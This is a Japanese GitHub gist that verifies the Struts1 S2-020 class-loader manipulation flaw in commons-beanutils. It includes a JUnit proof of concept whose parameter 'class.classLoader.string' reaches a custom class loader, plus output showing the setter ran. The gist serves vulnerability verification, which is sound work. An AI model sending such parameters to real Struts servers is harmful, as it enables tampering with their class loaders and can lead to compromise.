Skip to content

Instantly share code, notes, and snippets.

@kawasima
Last active April 19, 2019 03:11
Show Gist options
  • Save kawasima/11260616 to your computer and use it in GitHub Desktop.
Save kawasima/11260616 to your computer and use it in GitHub Desktop.
Struts1脆弱性の検証 [S2-020]
今回の問題は、StrutsでHttpリクエストパラメータをFormに入れる際に、commons-beanutilsの
BeanUtils.populateを使っていることに起因する。
populateの中で使われている、BeanUtils.setPropertyはノーチェックでBeanのプロパティを探すので、
プロパティ名を"class.classLoader.xxx"のように書いておくと、BeanのgetClassをよんで、
ClassオブジェクトのgetClassLoaderをよんで、…と連鎖してクラスローダが取得される。
そしてドットでつないだ最後のプロパティ名で値をセットにいくので、TomcatのWebAppClassLoaderが
途中でゲットされてしまうと、Struts2の脆弱性と同じ問題が発生してしまう。
この問題の対策は、http://www.lac.co.jp/security/alert/2014/04/24_alert_01.html に書いてあるとおり。
import org.apache.commons.beanutils.BeanUtils;
import org.junit.Test;
import java.net.URLClassLoader;
import java.util.HashMap;
import java.util.Map;
public class BeanUtilsTest {
@Test
public void test() throws Exception {
Map<String, String> params = new HashMap<String, String>();
params.put("class.classLoader.string", "fuge");
TekitoClassLoader cl = new TekitoClassLoader((URLClassLoader)Thread.currentThread().getContextClassLoader());
Object obj = cl.loadClass("HogeBean").newInstance();
BeanUtils.populate(obj, params);
}
public static class TekitoClassLoader extends URLClassLoader {
public TekitoClassLoader(URLClassLoader parent) {
super(parent.getURLs());
}
// 親より先にロードする。すなわちTomcatのWebAppClassLoaderと同じ
@Override
protected Class<?> loadClass(String className, boolean resolve)
throws ClassNotFoundException {
synchronized (getClassLoadingLock(className)) {
if (className.startsWith("java.")) {
return super.loadClass(className, resolve);
}
Class<?> clazz = findClass(className);
if (clazz == null) {
clazz = findLoadedClass(className);
try {
if (clazz == null)
clazz = getParent().loadClass(className);
} catch (ClassNotFoundException ex) {
}
}
if (resolve) {
resolveClass(clazz);
}
return clazz;
}
}
public void setString(String s) {
System.out.println("セットされてしまった!");
}
public String getString() {
return "ゲットされてしまった!";
}
}
}
public class Hoge {
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
private String name;
}
Connected to the target VM, address: '127.0.0.1:49396', transport: 'socket'
セットされてしまった!
Disconnected from the target VM, address: '127.0.0.1:49396', transport: 'socket'
Process finished with exit code 0
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment